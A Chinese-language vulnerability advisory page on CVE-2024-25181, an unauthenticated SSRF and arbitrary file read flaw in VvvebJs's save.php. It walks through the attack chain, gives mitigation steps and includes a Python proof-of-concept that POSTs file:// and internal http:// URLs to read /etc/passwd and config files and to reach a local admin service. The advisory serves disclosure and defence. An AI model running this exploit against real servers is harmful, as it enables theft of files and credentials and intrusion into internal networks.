IPBUF安全漏洞报告
English
CVE-2024-25181 CVSS 9.1 严重

CVE-2024-25181 VvvebJs save.php文件SSRF与任意文件读取漏洞

披露日期: 2025-12-29

漏洞信息

漏洞编号
CVE-2024-25181
漏洞类型
SSRF(服务器端请求伪造)/ 任意文件读取
CVSS评分
9.1 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
givanz VvvebJs

相关标签

CVE-2024-25181SSRF任意文件读取VvvebJsfile_get_contents服务器端请求伪造PHP漏洞CVSS 9.1严重漏洞无需认证

漏洞概述

CVE-2024-25181是存在于givanz VvvebJs 1.7.2版本中的一个严重安全漏洞,CVSS评分高达9.1分(满分10分)。该漏洞允许未经认证的远程攻击者利用服务器端请求伪造(SSRF)技术发起攻击,并可能实现任意文件读取。漏洞产生的根本原因在于应用程序对用户提供的URL参数缺乏有效的安全验证和过滤机制。在VvvebJs的save.php文件中,程序直接使用file_get_contents函数处理用户输入的URL,而没有对输入进行严格的合法性检查。这使得攻击者可以通过构造恶意URL来访问内部网络资源、读取服务器本地文件或对内部服务发起攻击。此漏洞的严重性在于其无需任何认证即可被利用,攻击向量为网络层面,机密性和完整性影响均评定为高。对于企业而言,攻击者可能利用此漏洞获取敏感配置文件、数据库凭证、内部系统访问权限等关键信息,进而扩大攻击范围。由于该漏洞影响广泛且利用难度较低,建议所有使用受影响版本的用户立即采取修复措施。

技术细节

该漏洞主要存在于VvvebJs的save.php文件中的file_get_contents函数调用处。file_get_contents是PHP中用于读取文件内容或发起HTTP请求的函数,当传入URL参数时,PHP会发起HTTP/HTTPS请求获取远程资源。漏洞利用的核心在于应用程序未能对用户可控的URL参数进行严格的白名单验证或输入过滤。攻击者可以通过构造包含file://、http://、https://等协议的URL来触发不同的攻击场景:1)使用file://协议读取本地敏感文件,如/etc/passwd、数据库配置文件等;2)使用http://访问内网服务,探测内部网络拓扑;3)使用dict://、gopher://等协议进行更复杂的SSRF攻击。在CVSS 3.1评分体系中,该漏洞的攻击向量为网络层面(AV:N),无需认证(PR:N),也无需用户交互(UI:N),机密性影响为高(C:H),完整性影响为高(I:H)。利用此漏洞通常需要攻击者构造特定的HTTP请求,在请求参数中注入恶意URL,然后诱使服务器解析该请求。由于file_get_contents函数会跟随重定向并处理响应内容,攻击者甚至可能通过响应内容来获取服务器返回的敏感数据。

攻击链分析

STEP 1
步骤1
信息收集:攻击者识别目标网站使用VvvebJs框架,并定位到存在漏洞的save.php文件
STEP 2
步骤2
构造恶意请求:攻击者构造包含file://、http://等协议的URL作为url参数
STEP 3
步骤3
发送攻击Payload:通过POST请求向save.php提交恶意构造的参数
STEP 4
步骤4
触发漏洞利用:服务器端file_get_contents函数解析并执行攻击者提供的URL
STEP 5
步骤5
获取敏感数据:如果使用file://协议,可读取服务器本地文件;如果使用http://可探测内网服务
STEP 6
步骤6
横向移动:利用获取的敏感信息(如数据库凭证、API密钥)进一步扩大攻击范围

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2024-25181 PoC - SSRF and Arbitrary File Read in VvvebJs # Affected: givanz VvvebJs <= 1.7.2 # Type: SSRF / Arbitrary File Read via file_get_contents in save.php import requests import sys TARGET_URL = "http://target.com/vvvebjs/save.php" def read_local_file(file_path): """Read local file using file:// protocol""" payload = { 'url': f'file://{file_path}', 'action': 'file_get' } try: response = requests.post(TARGET_URL, data=payload, timeout=10) print(f"[*] Status Code: {response.status_code}") print(f"[*] Response:\n{response.text}") return response.text except Exception as e: print(f"[!] Error: {e}") return None def ssrf_internal_service(internal_url): """Perform SSRF to access internal services""" payload = { 'url': internal_url, 'action': 'fetch' } try: response = requests.post(TARGET_URL, data=payload, timeout=10) print(f"[*] SSRF Target: {internal_url}") print(f"[*] Status Code: {response.status_code}") print(f"[*] Response:\n{response.text[:500]}") return response.text except Exception as e: print(f"[!] Error: {e}") return None if __name__ == "__main__": print("CVE-2024-25181 PoC - VvvebJs SSRF/Arbitrary File Read") print("=" * 50) # Example 1: Read /etc/passwd print("\n[+] Test 1: Reading /etc/passwd") read_local_file("/etc/passwd") # Example 2: Read config file print("\n[+] Test 2: Reading config file") read_local_file("/var/www/html/config.php") # Example 3: SSRF to internal service print("\n[+] Test 3: SSRF to internal service") ssrf_internal_service("http://127.0.0.1:8080/admin")

影响范围

givanz VvvebJs <= 1.7.2

防御指南

临时缓解措施
在官方修复版本发布之前,可采取以下临时缓解措施:1)禁用或限制save.php文件的访问权限,通过Web服务器配置阻止对该文件的直接访问;2)在应用层添加输入验证逻辑,对url参数进行严格过滤,拒绝包含file://、dict://、gopher://等危险协议的请求;3)使用防火墙规则限制服务器的外向HTTP请求,防止被用于攻击内网系统;4)如果业务不需要该功能,建议暂时禁用save.php或相关功能模块;5)加强对服务器的网络隔离,限制Web服务器对内网资源的访问权限。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表